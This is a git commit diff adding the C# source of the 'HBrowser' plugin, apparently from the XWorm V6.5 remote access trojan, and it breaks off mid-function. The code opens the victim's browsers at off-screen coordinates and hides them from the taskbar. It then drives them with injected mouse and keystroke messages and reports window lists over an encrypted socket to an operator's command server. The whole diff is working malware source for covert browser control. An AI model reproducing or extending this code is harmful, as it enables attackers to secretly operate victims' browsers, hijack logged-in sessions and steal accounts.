initial commit

This commit is contained in:
i2p
2026-08-27 11:22:34 -06:00
commit 5983c713b1
2676 changed files with 529190 additions and 0 deletions
Binary file not shown.
+25
View File
@@ -0,0 +1,25 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.33027.164
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "HBrowser", "HBrowser\HBrowser.csproj", "{3E26F494-89F7-4E79-B16D-C540EA683926}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{3E26F494-89F7-4E79-B16D-C540EA683926}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{3E26F494-89F7-4E79-B16D-C540EA683926}.Debug|Any CPU.Build.0 = Debug|Any CPU
{3E26F494-89F7-4E79-B16D-C540EA683926}.Release|Any CPU.ActiveCfg = Release|Any CPU
{3E26F494-89F7-4E79-B16D-C540EA683926}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {692D5DE6-6255-4C73-ABA9-1FE37D67B263}
EndGlobalSection
EndGlobal
@@ -0,0 +1 @@
{"RootPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\Plugins\\HBrowser\\HBrowser","ProjectFileName":"HBrowser.csproj","Configuration":"Debug|AnyCPU","FrameworkPath":"","Sources":[{"SourceFile":"HandleVNC\\Native.cs"},{"SourceFile":"Handle\\GetWindowsHidden.cs"},{"SourceFile":"Handle\\HandleClipboard.cs"},{"SourceFile":"Handle\\HandleMouse.cs"},{"SourceFile":"Plugin.cs"},{"SourceFile":"Properties\\AssemblyInfo.cs"},{"SourceFile":"ScreenshotCapture.cs"},{"SourceFile":"obj\\Debug\\.NETFramework,Version=v4.8.AssemblyAttributes.cs"}],"References":[{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.CSharp.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\Microsoft.VisualBasic.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\mscorlib.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Core.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.DataSetExtensions.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Data.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Drawing.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Management.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Windows.Forms.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""},{"Reference":"C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\.NETFramework\\v4.8\\System.Xml.Linq.dll","ResolvedFrom":"","OriginalItemSpec":"","Name":"","EmbedInteropTypes":false,"CopyLocal":false,"IsProjectReference":false,"ProjectPath":""}],"Analyzers":[],"Outputs":[{"OutputItemFullPath":"C:\\Users\\byt3d4sh\\Desktop\\Projects\\XWorm V6.5\\XWorm\\bin\\Debug\\Plugins\\HBrowser.dll","OutputItemRelativePath":"HBrowser.dll"},{"OutputItemFullPath":"","OutputItemRelativePath":""}],"CopyToOutputEntries":[]}
+59
View File
@@ -0,0 +1,59 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{3E26F494-89F7-4E79-B16D-C540EA683926}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>HBrowser</RootNamespace>
<AssemblyName>HBrowser</AssemblyName>
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>false</DebugSymbols>
<DebugType>none</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\..\..\XWorm\bin\Debug\Plugins\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<Prefer32Bit>false</Prefer32Bit>
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="HandleVNC\Native.cs" />
<Compile Include="Handle\GetWindowsHidden.cs" />
<Compile Include="Handle\HandleClipboard.cs" />
<Compile Include="Handle\HandleMouse.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="ScreenshotCapture.cs" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,454 @@
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Plugin.Handle.GetWindowsHidden
using HBrowser;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Windows.Forms;
public class GetWindowsHidden
{
private class User32
{
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
public const int SW_HIDE = 0;
public const int SW_SHOW = 5;
public const int GWL_EXSTYLE = -20;
public const int WS_EX_TOOLWINDOW = 128;
public const int CloseHandel = 16;
public const int IsCloseHandel = 20;
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern IntPtr GetWindowRect(IntPtr hWnd, ref RECT rect);
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
[DllImport("User32.dll")]
public static extern int GetWindowLong(IntPtr hWnd, int nIndex);
[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
[DllImport("user32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int x, int y, int cx, int cy, uint uFlags);
[DllImport("user32.dll")]
public static extern int SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
}
public static List<IntPtr> ListBrowser = new List<IntPtr>();
private static readonly object SyncLock = new object();
private static bool IsWindowActived { get; set; }
public static void GetListWindow()
{
StringBuilder stringBuilder = new StringBuilder();
if (ListBrowser.Count <= 0)
{
return;
}
try
{
for (int i = ListBrowser.Count - 1; i > -1; i += -1)
{
lock (SyncLock)
{
IntPtr hWnd = ListBrowser[i];
if (WindowCheck(hWnd))
{
Native.GetWindowThreadProcessId(hWnd, out var processId);
if (processId == 0)
{
continue;
}
string mainModuleFilepath = Native.GetMainModuleFilepath(processId);
if (File.Exists(mainModuleFilepath))
{
Icon original = Icon.ExtractAssociatedIcon(mainModuleFilepath);
Icon icon = new Icon(original, new Size(24, 24));
Bitmap bitmap = new Bitmap(icon.ToBitmap(), new Size(24, 24));
MemoryStream memoryStream = new MemoryStream();
bitmap.Save(memoryStream, ImageFormat.Png);
stringBuilder.Append(mainModuleFilepath + "-==>" + i + "-==>" + Convert.ToBase64String(memoryStream.ToArray()) + "-==>" + processId + "-==>");
}
continue;
}
ListBrowser.RemoveAt(i);
}
}
ClientSocket.Send("WindowsActive" + Settings.SPL + Settings.IDD + Settings.SPL + stringBuilder.ToString());
Helper.MsgLogs("Windows list updated successfully");
}
catch
{
Helper.MsgLogs("An error occurred while importing the list of windows");
}
}
public static bool InitializingWindow(int IndexWindow, int Width, int Height)
{
if (ListBrowser.Count > 0)
{
try
{
Helper.MsgLogs("Initializing window...");
IntPtr intPtr = ListBrowser[IndexWindow];
foreach (IntPtr item in ListBrowser)
{
MoveWindow(item, 5000, 5000, Width, Height);
}
if (WindowCheck(intPtr))
{
MoveWindow(intPtr, 10000, 10000, Width, Height);
User32.ShowWindow(intPtr, 0);
User32.SetWindowLong(intPtr, -20, User32.GetWindowLong(intPtr, -20) | 0x80);
User32.ShowWindow(intPtr, 5);
User32.SetWindowPos(intPtr, (IntPtr)1, 10000, 10000, Width, Height, 64u);
IsWindowActived = true;
}
else
{
IsWindowActived = false;
}
}
catch
{
return false;
}
}
return IsWindowActived;
}
public static bool GetHandleBrowser(string Title, int Width, int Height)
{
try
{
Process[] processes = Process.GetProcesses();
Process[] array = processes;
foreach (Process process in array)
{
if (!string.IsNullOrEmpty(process.MainWindowTitle) && process.MainWindowTitle.Contains(Title))
{
IntPtr mainWindowHandle = process.MainWindowHandle;
MoveWindow(mainWindowHandle, 10000, 10000, Width, Height);
User32.ShowWindow(mainWindowHandle, 0);
User32.SetWindowLong(mainWindowHandle, -20, User32.GetWindowLong(mainWindowHandle, -20) | 0x80);
User32.ShowWindow(mainWindowHandle, 5);
User32.SetWindowPos(mainWindowHandle, (IntPtr)1, 10000, 10000, Width, Height, 64u);
ListBrowser.Add(mainWindowHandle);
return true;
}
}
return false;
}
catch
{
return false;
}
}
public static string RetrunBrowser(string Browser, string CustomName, string TitleCustomOpen)
{
switch (Browser)
{
case "chrome":
{
string text4 = "Welcome Chrome Browser";
try
{
int num5 = 0;
if (!ScanWindows(text4))
{
Process.Start("chrome", "--new-window \"data:text/html,<title>Welcome Chrome Browser</title>\" --mute-audio --disable-audio");
while (ClientSocket.isConnected)
{
Process[] processes5 = Process.GetProcesses();
Process[] array5 = processes5;
foreach (Process process5 in array5)
{
if (!string.IsNullOrEmpty(process5.MainWindowTitle) && process5.MainWindowTitle.Contains(text4))
{
return text4;
}
if (num5 >= 20)
{
return null;
}
}
Thread.Sleep(250);
num5++;
}
break;
}
return text4;
}
catch
{
return null;
}
}
case "edge":
{
string text3 = "Welcome Edge Browser";
try
{
int num4 = 0;
if (!ScanWindows(text3))
{
Process.Start("msedge", "--new-window \"data:text/html,<title>Welcome Edge Browser</title>\" --mute-audio --disable-audio");
while (ClientSocket.isConnected)
{
Process[] processes4 = Process.GetProcesses();
Process[] array4 = processes4;
foreach (Process process4 in array4)
{
if (!string.IsNullOrEmpty(process4.MainWindowTitle) && process4.MainWindowTitle.Contains(text3))
{
return text3;
}
if (num4 >= 20)
{
return null;
}
}
Thread.Sleep(250);
num4++;
}
break;
}
return text3;
}
catch
{
return null;
}
}
case "firefox":
{
string text2 = "Welcome_firefox_Browser";
try
{
int num3 = 0;
if (!ScanWindows(text2))
{
Process.Start("firefox", "--new-window data:text/html,<title>Welcome_firefox_Browser</title>");
while (ClientSocket.isConnected)
{
Process[] processes3 = Process.GetProcesses();
Process[] array3 = processes3;
foreach (Process process3 in array3)
{
if (!string.IsNullOrEmpty(process3.MainWindowTitle) && process3.MainWindowTitle.Contains(text2))
{
return text2;
}
if (num3 >= 20)
{
return null;
}
}
Thread.Sleep(250);
num3++;
}
break;
}
return text2;
}
catch
{
return null;
}
}
case "brave":
{
string text = "Welcome brave Browser";
try
{
int num2 = 0;
if (!ScanWindows(text))
{
Process.Start("brave", "--new-window \"data:text/html,<title>Welcome brave Browser</title>\" --mute-audio --disable-audio");
while (ClientSocket.isConnected)
{
Process[] processes2 = Process.GetProcesses();
Process[] array2 = processes2;
foreach (Process process2 in array2)
{
if (!string.IsNullOrEmpty(process2.MainWindowTitle) && process2.MainWindowTitle.Contains(text))
{
return text;
}
if (num2 >= 20)
{
return null;
}
}
Thread.Sleep(250);
num2++;
}
break;
}
return text;
}
catch
{
return null;
}
}
case "CustomOpen":
try
{
int num = 0;
if (!ScanWindows(TitleCustomOpen))
{
Process.Start(CustomName, "--new-window \"data:text/html,<title>%Title%</title>\" --mute-audio --disable-audio".Replace("%Title%", TitleCustomOpen));
while (ClientSocket.isConnected)
{
Process[] processes = Process.GetProcesses();
Process[] array = processes;
foreach (Process process in array)
{
if (!string.IsNullOrEmpty(process.MainWindowTitle) && process.MainWindowTitle.Contains(TitleCustomOpen))
{
return TitleCustomOpen;
}
if (num >= 20)
{
return null;
}
}
Thread.Sleep(250);
num++;
}
break;
}
return TitleCustomOpen;
}
catch
{
return null;
}
}
return null;
}
public static bool ScanWindows(string Title)
{
try
{
Process[] processes = Process.GetProcesses();
Process[] array = processes;
foreach (Process process in array)
{
if (!string.IsNullOrEmpty(process.MainWindowTitle) && process.MainWindowTitle.Contains(Title))
{
return true;
}
}
return false;
}
catch
{
return false;
}
}
public static void MoveWindow(IntPtr intPtr, int LX, int LY, int Width, int Height)
{
try
{
Native.SetWindowPos(intPtr, IntPtr.Zero, LX, LY, Width, Height, Native.SetWindowPosFlags.DoNotChangeOwnerZOrder | Native.SetWindowPosFlags.IgnoreResize);
}
catch
{
}
}
public static void ResizeWondow(IntPtr hWnd, int x, int y)
{
try
{
User32.SetWindowPos(hWnd, (IntPtr)1, 10000, 10000, x, y, 64u);
}
catch
{
}
}
public static bool WindowCheck(IntPtr hWnd)
{
if (!User32.IsWindowVisible(hWnd))
{
return false;
}
return true;
}
public static void WindowClose(IntPtr hWnd, int x, int y)
{
try
{
MoveWindow(hWnd, 10000, 10000, x, y);
User32.PostMessage(hWnd, 16u, IntPtr.Zero, IntPtr.Zero);
GetListWindow();
}
catch
{
}
}
public static void ClearList(int x, int y)
{
try
{
if (ListBrowser.Count <= 0)
{
return;
}
foreach (IntPtr item in ListBrowser)
{
WindowClose(item, x, y);
}
Helper.WindowrActive = IntPtr.Zero;
}
catch
{
}
}
}
@@ -0,0 +1,62 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
using HBrowser;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
namespace HB.Handle
{
public class HandleClipboard
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
public static void Paste(string k)
{
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(k));
for (int i = 0; i < @string.Length; i++)
{
int num = Strings.AscW(@string[i].ToString());
if (num == 8 || num == 13)
{
PostMessage(Helper.WindowrActive, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYDOWN(1, 30, IsExtendedKey: false, DownBefore: false));
PostMessage(Helper.WindowrActive, 257u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string[i].ToString()))), CreateLParamFor_WM_KEYUP(1, 30, IsExtendedKey: false));
}
else
{
PostMessage(Helper.WindowrActive, 258u, (IntPtr)Strings.AscW(@string[i].ToString()), (IntPtr)1);
}
}
}
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
{
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore: true, State: true);
}
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
{
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, State: false);
}
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
{
int num = RepeatCount | (ushort)(ScanCode << 16);
if (IsExtendedKey)
{
num |= 0x10000;
}
if (DownBefore)
{
num |= 0x40000000;
}
if (State)
{
num = (int)((long)num | -2147483648L);
}
return new IntPtr(num);
}
}
}
@@ -0,0 +1,137 @@
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Plugin.Handle.HandleMouse
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using System.Text;
using HBrowser;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
internal class HandleMouse
{
public struct RECT
{
public int Left;
public int Top;
public int Right;
public int Bottom;
}
private const int WM_SETTEXT = 12;
private const int WM_GETTEXT = 13;
private const int WM_GETTEXTLENGTH = 14;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int SendMessage(IntPtr hWnd, uint Msg, int wParam, string lParam);
public static void Copy(string hParent)
{
if (!Helper.WindowrActive.Equals(IntPtr.Zero))
{
int num = SendMessage(Helper.WindowrActive, 14u, 0, null);
string lParam = Strings.Space(num + 1);
SendMessage(Helper.WindowrActive, 13u, num + 1, lParam);
}
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool PostMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool GetWindowRect(IntPtr hWnd, ref RECT lpRect);
public static int MakeLParam(int LoWord, int HiWord)
{
return (HiWord << 16) | (LoWord & 0xFFFF);
}
public static void MouseLeftDown(int x, int y)
{
RECT lpRect = default(RECT);
GetWindowRect(Helper.WindowrActive, ref lpRect);
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
PostMessage(Helper.WindowrActive, 513u, (IntPtr)0, (IntPtr)MakeLParam(point.X, point.Y));
}
public static void MouseLeftUp(int x, int y)
{
RECT lpRect = default(RECT);
GetWindowRect(Helper.WindowrActive, ref lpRect);
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
PostMessage(Helper.WindowrActive, 514u, (IntPtr)0, (IntPtr)MakeLParam(point.X, point.Y));
}
public static void MouseRightDown(int x, int y)
{
RECT lpRect = default(RECT);
GetWindowRect(Helper.WindowrActive, ref lpRect);
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
PostMessage(Helper.WindowrActive, 516u, (IntPtr)0, (IntPtr)MakeLParam(x - lpRect.Left, y - lpRect.Top));
}
public static void MouseRghitUp(int x, int y)
{
RECT lpRect = default(RECT);
GetWindowRect(Helper.WindowrActive, ref lpRect);
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
PostMessage(Helper.WindowrActive, 517u, (IntPtr)0, (IntPtr)MakeLParam(x - lpRect.Left, y - lpRect.Top));
}
public static void MouseMove(int x, int y)
{
RECT lpRect = default(RECT);
GetWindowRect(Helper.WindowrActive, ref lpRect);
Point point = new Point(10000 + x - lpRect.Left, 10000 + y - lpRect.Top);
PostMessage(Helper.WindowrActive, 512u, (IntPtr)0, (IntPtr)MakeLParam(x - lpRect.Left, y - lpRect.Top));
}
public static IntPtr CreateLParamFor_WM_KEYDOWN(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore)
{
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore, State: false);
}
public static IntPtr KeysLParam(ushort RepeatCount, byte ScanCode, bool IsExtendedKey, bool DownBefore, bool State)
{
int num = RepeatCount | (ushort)(ScanCode << 16);
if (IsExtendedKey)
{
num |= 0x10000;
}
if (DownBefore)
{
num |= 0x40000000;
}
if (State)
{
num = (int)((long)num | -2147483648L);
}
return new IntPtr(num);
}
public static void KeyboardDown(string k)
{
string @string = Encoding.UTF8.GetString(Convert.FromBase64String(k));
int num = Strings.AscW(@string);
if (num == 8 || num == 13)
{
PostMessage(Helper.WindowrActive, 256u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string))), CreateLParamFor_WM_KEYDOWN(1, 30, IsExtendedKey: false, DownBefore: false));
PostMessage(Helper.WindowrActive, 257u, (IntPtr)Conversions.ToInteger("&H" + Conversion.Hex(Strings.AscW(@string))), CreateLParamFor_WM_KEYUP(1, 30, IsExtendedKey: false));
}
else
{
PostMessage(Helper.WindowrActive, 258u, (IntPtr)Strings.AscW(@string), (IntPtr)1);
}
}
public static IntPtr CreateLParamFor_WM_KEYUP(ushort RepeatCount, byte ScanCode, bool IsExtendedKey)
{
return KeysLParam(RepeatCount, ScanCode, IsExtendedKey, DownBefore: true, State: true);
}
}
@@ -0,0 +1,50 @@
// HBrowser, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// Plugin.HandleVNC.Native
using System;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
public static class Native
{
[Flags]
public enum SetWindowPosFlags : uint
{
AsynchronousWindowPosition = 0x4000u,
DeferErase = 0x2000u,
DrawFrame = 0x20u,
FrameChanged = 0x20u,
HideWindow = 0x80u,
DoNotActivate = 0x10u,
DoNotCopyBits = 0x100u,
IgnoreMove = 2u,
DoNotChangeOwnerZOrder = 0x200u,
DoNotRedraw = 8u,
DoNotReposition = 0x200u,
DoNotSendChangingEvent = 0x400u,
IgnoreResize = 1u,
IgnoreZOrder = 4u,
ShowWindow = 0x40u
}
[DllImport("user32.dll", SetLastError = true)]
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, SetWindowPosFlags uFlags);
[DllImport("user32")]
public static extern int GetWindowThreadProcessId(IntPtr hWnd, out int processId);
public static string GetMainModuleFilepath(int id)
{
string queryString = "SELECT ProcessId, ExecutablePath FROM Win32_Process WHERE ProcessId = " + id;
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(queryString))
{
ManagementObjectCollection source = managementObjectSearcher.Get();
ManagementObject managementObject = source.Cast<ManagementObject>().FirstOrDefault();
if (managementObject != null)
{
return Convert.ToString(managementObject["ExecutablePath"]);
}
}
return null;
}
}
+630
View File
@@ -0,0 +1,630 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Drawing.Imaging;
using System.Drawing;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using Microsoft.VisualBasic; // Install-Package Microsoft.VisualBasic
using Microsoft.VisualBasic.CompilerServices; // Install-Package Microsoft.VisualBasic
using Microsoft.Win32;
using static System.Net.Mime.MediaTypeNames;
using System.Windows.Forms.VisualStyles;
using HB.Handle;
namespace HBrowser
{
class Plugin
{
public static System.Threading.Thread T1 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.BeginConnect));
public static System.Threading.Thread T2 = new System.Threading.Thread(new System.Threading.ThreadStart(ClientSocket.Ping));
public static void Run(string H, string P, string SL, string K, string id)
{
try
{
Settings.Host = H;
Settings.Port = P;
Settings.SPL = SL;
Settings.KEY = K;
Settings.IDD = id;
T1.Start();
T2.Start();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
}
public partial class Settings
{
public static string Host;
public static string Port;
public static string KEY;
public static string SPL;
public static string IDD;
}
public partial class ClientSocket
{
public static bool isConnected = false;
public static Socket S;
public static long BufferLength = default;
public static byte[] Buffer;
public static MemoryStream MS = new MemoryStream();
public static void BeginConnect()
{
S = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
BufferLength = -1;
Buffer = new byte[1];
MS = new MemoryStream();
S.ReceiveBufferSize = 50 * 1024;
S.SendBufferSize = 50 * 1024;
try
{
S.Connect(Settings.Host, Conversions.ToInteger(Settings.Port));
isConnected = true;
Send("FormHBrowser" + Settings.SPL + Settings.IDD);
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
}
catch (Exception ex)
{
isDisconnected();
}
}
public static void BeginReceive(IAsyncResult ar)
{
if (isConnected == false)
isDisconnected();
try
{
int Received = S.EndReceive(ar);
if (Received > 0)
{
if (BufferLength == -1)
{
if (Buffer[0] == 0)
{
BufferLength = Conversions.ToLong(Helper.BS(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
if (BufferLength == 0L)
{
BufferLength = -1;
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
return;
}
Buffer = new byte[(int)(BufferLength - 1L + 1)];
}
else
{
MS.WriteByte(Buffer[0]);
}
}
else
{
MS.Write(Buffer, 0, Received);
if (MS.Length == BufferLength)
{
var thread = new Thread(BeginRead);
thread.Start(MS.ToArray());
BufferLength = -1;
MS.Dispose();
MS = new MemoryStream();
Buffer = new byte[1];
}
else
{
Buffer = new byte[(int)(BufferLength - MS.Length - 1L + 1)];
}
}
}
else
{
isDisconnected();
return;
}
S.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, new AsyncCallback(BeginReceive), S);
}
catch (Exception ex)
{
isDisconnected();
return;
}
}
public static void BeginRead(object b)
{
try
{
byte[] buffer = (byte[])b;
Messages.Read(buffer);
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
public static void Send(string msg)
{
try
{
using (var MS = new MemoryStream())
{
var B = Helper.AES_Encryptor(Helper.SB(msg));
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
MS.Write(L, 0, L.Length);
MS.Write(B, 0, B.Length);
S.Poll(-1, SelectMode.SelectWrite);
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
}
}
catch (Exception ex)
{
isDisconnected();
}
}
public static void isDisconnected()
{
isConnected = false;
try
{
S.Close();
S.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
try
{
MS.Close();
MS.Dispose();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
try
{
Plugin.T1.Abort();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
try
{
Plugin.T2.Abort();
}
catch (Exception ex)
{
Debug.WriteLine(ex.Message);
}
}
public static void Ping()
{
while (true)
{
System.Threading.Thread.Sleep(30 * 1000);
try
{
if (S.Connected)
{
using (var MS = new MemoryStream())
{
var B = Helper.AES_Encryptor(Helper.SB("PING?"));
var L = Helper.SB(B.Length.ToString() + Conversions.ToChar(Constants.vbNullChar));
MS.Write(L, 0, L.Length);
MS.Write(B, 0, B.Length);
S.Poll(-1, SelectMode.SelectWrite);
S.Send(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None);
GC.Collect();
}
}
}
catch (Exception ex)
{
isDisconnected();
}
}
}
}
public partial class Messages
{
public static void Read(byte[] b)
